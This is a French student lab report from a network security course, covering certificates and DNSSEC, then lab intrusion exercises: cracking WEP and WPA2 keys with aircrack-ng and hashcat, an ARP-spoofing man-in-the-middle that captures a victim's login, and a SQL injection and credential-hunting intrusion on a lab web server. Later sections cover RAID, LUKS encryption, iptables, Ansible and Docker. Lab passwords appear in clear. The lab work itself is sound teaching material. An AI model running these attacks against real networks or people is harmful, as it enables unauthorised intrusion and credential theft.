&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.&lt;br /&gt;
Cette ligne de commande nous permet de lancer la procédure de création :&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr&lt;br /&gt;
&lt;br /&gt;
 Country Name (2 letter code) [AU]:FR&lt;br /&gt;
 State or Province Name (full name) [Some-State]:France&lt;br /&gt;
 Locality Name (eg, city) []:Lille&lt;br /&gt;
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech&lt;br /&gt;
 Organizational Unit Name (eg, section) []:IMA&lt;br /&gt;
 Common Name (e.g. server FQDN or YOUR name) []:amanite.site&lt;br /&gt;
 Email Address []:admin@amanite.site&lt;br /&gt;
 &lt;br /&gt;
 Please enter the following 'extra' attributes&lt;br /&gt;
 to be sent with your certificate request&lt;br /&gt;
 A challenge password []:glopglop&lt;br /&gt;
 An optional company name []:&lt;br /&gt;
&lt;br /&gt;
Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name &amp;quot;amanite.site&amp;quot;.&lt;br /&gt;
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis. &lt;br /&gt;
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site&lt;br /&gt;
Puis la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues pour plus de lisibilité : &lt;br /&gt;
 amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private&lt;br /&gt;
&lt;br /&gt;
Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed&lt;br /&gt;
&lt;br /&gt;
Nous signons les enregistrements de la zone avec la commande : &lt;br /&gt;
 dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk &lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db.signed&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)&lt;br /&gt;
&lt;br /&gt;
Finalement nous relançons bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion==&lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d’un point d’accès WiFi===&lt;br /&gt;
&lt;br /&gt;
*Liste des commandes :&lt;br /&gt;
** Lister les interfaces WiFi disponibles : airmong-ng&lt;br /&gt;
** Passage d'une interface en mode moniteur : airmong-ng start &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Capture des paquets émis par le point d'accés cible :  airodump-ng --write &amp;lt;nomFichierSortie&amp;gt; --channel 3 -bssid &amp;lt;@mac_AP&amp;gt; &amp;lt;nomInterface&amp;gt;&lt;br /&gt;
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x &amp;lt;nomFichierSortie&amp;gt;-01.cap&lt;br /&gt;
&lt;br /&gt;
Notre première étape consiste à passer notre interface en mode moniteur.&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng&lt;br /&gt;
&lt;br /&gt;
Ce qui nous retourne le nom de notre interface, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface : &lt;br /&gt;
 airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande : &lt;br /&gt;
 airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous pouvons &amp;quot;stimuler&amp;quot; le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) : &lt;br /&gt;
 '''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 '''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande : &lt;br /&gt;
 aircrack-ng -z data.cap&lt;br /&gt;
&lt;br /&gt;
Nous obtenons alors : &lt;br /&gt;
 KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ] &lt;br /&gt;
Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA2-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux capter par notre interface : &lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous repérons le réseau &amp;quot;Kracotte05&amp;quot; qui possède le BSSID suivant &amp;quot;00:14:1B:60:8C:24&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons lancer dès lors la commande :&lt;br /&gt;
 airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arrêter la capture.&lt;br /&gt;
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :&lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt; dico.txt&lt;br /&gt;
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.&lt;br /&gt;
&lt;br /&gt;
Pour cracker le mot de passe, nous avons utilisé hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante :&lt;br /&gt;
 crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
Le mot de passe pour la kracotte05 est le suivant : 10244444&lt;br /&gt;
&lt;br /&gt;
===Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP===&lt;br /&gt;
&lt;br /&gt;
Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :&lt;br /&gt;
 apt-get install dsniff&lt;br /&gt;
&lt;br /&gt;
La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
Nous pouvons afficher la table arp de la machine pirate avec la commande : &lt;br /&gt;
 arp -a&lt;br /&gt;
Grâce à cette table nous identifions deux adresses IP :&lt;br /&gt;
&lt;br /&gt;
172.26.145.254&lt;br /&gt;
-&amp;gt; Adresse IP du routeur&lt;br /&gt;
&lt;br /&gt;
172.26.145.60&lt;br /&gt;
-&amp;gt; Adresse IP de la machine victime&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.&lt;br /&gt;
&lt;br /&gt;
Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :&lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.254 172.26.145.60 &lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.60 172.26.145.254 &lt;br /&gt;
&lt;br /&gt;
La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.&lt;br /&gt;
&lt;br /&gt;
En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparente. &lt;br /&gt;
&lt;br /&gt;
La machine victime va maintenant se connecter sur un serveur web HTTP.&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark sur la machine attaquante nous observons les paquets suivants :&lt;br /&gt;
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d’application Web===&lt;br /&gt;
&lt;br /&gt;
Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :&lt;br /&gt;
&lt;br /&gt;
 nmap -A -T4 honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Nous voyons que le serveur héberge deux services :&lt;br /&gt;
Un service de connexion ssh, inutilisable sans login et mot de passe&lt;br /&gt;
Un service web.&lt;br /&gt;
&lt;br /&gt;
Nous essayons donc de commencer par attaquer le site web honey.plil.info&lt;br /&gt;
&lt;br /&gt;
Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.&lt;br /&gt;
Les requêtes SQL de connexions sont souvent de la forme : &lt;br /&gt;
Select … From … Where login = « username » AND password = « password ».&lt;br /&gt;
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc nous utilisons la condition vraie sur les deux champs. De ce fait la base de données sera « perdue » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous indiquant qu'il est impossible de se connecter à tout ces comptes en même temps.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :&lt;br /&gt;
- La première permet d’uploader un fichier qui est stocké sur le pc du server&lt;br /&gt;
- La deuxième permet de lire ce fichier.&lt;br /&gt;
&lt;br /&gt;
Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.&lt;br /&gt;
&lt;br /&gt;
Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.&lt;br /&gt;
&lt;br /&gt;
 dirb -r honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme &amp;quot;glopglop&amp;quot; et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n amanite-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid3,xvda7,w'&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
Puis nous redémarrons notre VM.&lt;br /&gt;
 xl destroy amanite&lt;br /&gt;
 xl create /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
Après avoir relancer notre VM, nous installons le paquet mdadm.&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
Nous formatons notre volume RAID.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
Et nous rajoutons la ligne suivante dans /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /raid5 ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Nous pouvons avoir des détails notre volume grâce à la commande : &lt;br /&gt;
 mdadm --detail /dev/md0&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous montons et peuplons notre volume RAID.&lt;br /&gt;
 mount /dev/md0 /mnt&lt;br /&gt;
 touch coucou.txt&lt;br /&gt;
&lt;br /&gt;
A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Nous déclarons un de nos disques comme étant en défaillance :&lt;br /&gt;
&lt;br /&gt;
 mdadm --set-faulty /dev/md0 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Puis nous l'enlevons de notre volume RAID :&lt;br /&gt;
 mdadm --remove /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :&lt;br /&gt;
 mdadm --manage /dev/md0 --add /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
===Chiffrement de données===&lt;br /&gt;
&lt;br /&gt;
Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.&lt;br /&gt;
&lt;br /&gt;
Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.&lt;br /&gt;
 &lt;br /&gt;
 mount /dev/mapper/crypt_sdb /mnt&lt;br /&gt;
&lt;br /&gt;
Puis nous y ajoutons un fichier.&lt;br /&gt;
&lt;br /&gt;
 touch /mnt/test.txt&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.&lt;br /&gt;
&lt;br /&gt;
 umount /mnt&lt;br /&gt;
 cryptsetup luksClose crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présents. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.&lt;br /&gt;
&lt;br /&gt;
===Inspection ARP par un élément réseau===&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation WiFi par WPA2-EAP===&lt;br /&gt;
&lt;br /&gt;
== TP ASR ==&lt;br /&gt;
&lt;br /&gt;
=== Architecture de la ferme ===&lt;br /&gt;
&lt;br /&gt;
Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.  &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1 par rapport à notre autre interface. &lt;br /&gt;
&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ] &lt;br /&gt;
&lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface                                                                                                                              &lt;br /&gt;
 auto eth0                                                                                                                                                    &lt;br /&gt;
 iface eth0 inet static                                                                                                                                        &lt;br /&gt;
 address 193.48.57.184                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.255                                                                                                                                      &lt;br /&gt;
 up ip address add dev eth0 100.64.0.24/24                                                                                                                    &lt;br /&gt;
 up ip route add default via 100.64.0.2 src 193.48.57.184                                                                                                     &lt;br /&gt;
 down ip address del dev eth0 100.64.0.24/24                                                                                                                  &lt;br /&gt;
 down ip route del default via 100.64.0.2 src 193.48.57.184                                                                                                                                                                                                                                                               &lt;br /&gt;
 &lt;br /&gt;
 # The secondary network interface                                                                                                                            &lt;br /&gt;
 auto eth1                                                                                                                                                    &lt;br /&gt;
 iface eth1 inet static                                                                                                                                        &lt;br /&gt;
 address 192.168.42.19                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.0 &lt;br /&gt;
&lt;br /&gt;
Nous avons mis en place notre propre mascarade avec les commandes suivantes :&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184&lt;br /&gt;
Ce qui permet à nos paquets en provenance de 192.168.45.5 (machine sur chassiron) de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder à des &amp;quot;apt install&amp;quot; et ne plus être considéré comme des hackeur russes malveillants.&lt;br /&gt;
&lt;br /&gt;
Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier &amp;quot;/etc/sysctl.conf&amp;quot; pour activer l'ip forwarding pour les paquets IPV4.&lt;br /&gt;
&lt;br /&gt;
A la fin de cette partie nous sommes capables de ping les machines entre elles.&lt;br /&gt;
 &lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0                                                                                                               &lt;br /&gt;
 iface eth0 inet static                                                                                                    &lt;br /&gt;
 address 192.168.42.5/24                                                                                                 &lt;br /&gt;
 gateway 192.168.42.19 &lt;br /&gt;
&lt;br /&gt;
Nous avons également modifié notre fichier /etc/resolv.conf :&lt;br /&gt;
 domain plil.info                                                                                                        &lt;br /&gt;
 search plil.info plil.fr                                                                                                &lt;br /&gt;
 nameserver 192.168.42.19&lt;br /&gt;
&lt;br /&gt;
Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d.&lt;br /&gt;
&lt;br /&gt;
Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école. A la fin de cette partie la machine sur chassiron est capable de ping google.&lt;br /&gt;
&lt;br /&gt;
'''Clés SSH'''&lt;br /&gt;
&lt;br /&gt;
Génération d’une paire de clef asymétrique :&lt;br /&gt;
 ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Ces clés sont stocké coté capbreton dans le dossier /.ssh&lt;br /&gt;
&lt;br /&gt;
Par la suite nous installons la clef publique sur nos cibles (les machines sur chassiron) :&lt;br /&gt;
 cat .ssh/id_rsa.pub | ssh 192.168.42.5 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
Cette manipulation est cruciale pour ansible, sans cette dernière ansible ne peut fonctionner correctement&lt;br /&gt;
&lt;br /&gt;
'''Installation d'Ansible'''&lt;br /&gt;
&lt;br /&gt;
Installation via la commande :&lt;br /&gt;
 apt install ansible&lt;br /&gt;
&lt;br /&gt;
L'étape suivante consiste à créer un inventaire hosts dans /etc/ansible :&lt;br /&gt;
 [webserver]                                                                                                             &lt;br /&gt;
 192.168.42.5                                                                                                                                                                                                                                    &lt;br /&gt;
 &lt;br /&gt;
 [webservers]                                                                                                            &lt;br /&gt;
 192.168.42.5                                                                                                            &lt;br /&gt;
 192.168.42.2                                                                                                            &lt;br /&gt;
 192.168.42.4                                                                                                            &lt;br /&gt;
 192.168.42.7                                                                                                            &lt;br /&gt;
 192.168.42.9                                                                                                            &lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
Ce fichier répertorie nos différentes cibles en séparent webserver qui est une cible ne contenant que notre machine virtuelle secondaire et webservers qui contient l'ensemble des machines virtuelles du groupe 2. Nous pouvons effectuer une première vérification grâce à la commande ansible : &lt;br /&gt;
 ansible webserver -a &amp;quot;lsb_release -d&amp;quot;&lt;br /&gt;
&lt;br /&gt;
L'étape suivant consiste à tester ansible.&lt;br /&gt;
Pour ce faire nous créons un role basic qui contient la tache main.yml, voici son contenu :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed                                                                                           &lt;br /&gt;
 apt:                                                                                                                            &lt;br /&gt;
        update_cache: yes                                                                                                       &lt;br /&gt;
        name: &amp;quot;{ { packages } }&amp;quot;                                                                                         &lt;br /&gt;
 vars:                                                                                                                           &lt;br /&gt;
        packages:                                                                                                                       &lt;br /&gt;
                - ntp                                                                                                                   &lt;br /&gt;
                - python3                                                                                                               &lt;br /&gt;
                - python3-pip                                                                                                                                                                                                                 &lt;br /&gt;
 &lt;br /&gt;
 - name: docker                                                                                                            &lt;br /&gt;
 pip:                                                                                                                            &lt;br /&gt;
         name: docker                                                                                                                                                                                                                          &lt;br /&gt;
 &lt;br /&gt;
 - name: maj ntp                                                                                                           &lt;br /&gt;
 copy:                                                                                                                           &lt;br /&gt;
         src: &amp;quot;/etc/ntp.conf&amp;quot;                                                                                                    &lt;br /&gt;
         dest: &amp;quot;/etc/ntp.conf&amp;quot;                                                                                                   &lt;br /&gt;
         owner: root                                                                                                             &lt;br /&gt;
         group: root                                                                                                             &lt;br /&gt;
         mode: '0644'&lt;br /&gt;
                                                                                                                                                                                                                           &lt;br /&gt;
 - name: maj motd                                                                                                          &lt;br /&gt;
 copy:                                                                                                                           &lt;br /&gt;
         src: &amp;quot;/etc/motd&amp;quot;                                                                                                        &lt;br /&gt;
         dest: &amp;quot;/etc/motd&amp;quot;                                                                                                       &lt;br /&gt;
         owner: root                                                                                                             &lt;br /&gt;
         group: root                                                                                                             &lt;br /&gt;
         mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce role s'assure qui les packages ntp, python3, python3-pip et docker son bien installé et met à jour ntp et motd en copiant leurs configurations qui est présente sur notre machine virtuelle de capbreton. La modification est bien prise en compte est peut être vérifier en se connectant en ssh sur notre machine de chassiron via la commande ssh root@192.168.42.5&lt;br /&gt;
&lt;br /&gt;
=== Installation de docker ===&lt;br /&gt;
&lt;br /&gt;
Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed&lt;br /&gt;
   apt:&lt;br /&gt;
        update_cache: yes&lt;br /&gt;
        name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
        packages:&lt;br /&gt;
                - python3&lt;br /&gt;
                - python3-pip&lt;br /&gt;
&lt;br /&gt;
Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible (récupérer sur ansible galaxy).&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé notre playbook pour déployer nos commandes :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webserver&lt;br /&gt;
   roles:&lt;br /&gt;
          - basic&lt;br /&gt;
          - geerlingguy.docker&lt;br /&gt;
   vars:&lt;br /&gt;
         docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
         docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Création de notre conteneur ===&lt;br /&gt;
&lt;br /&gt;
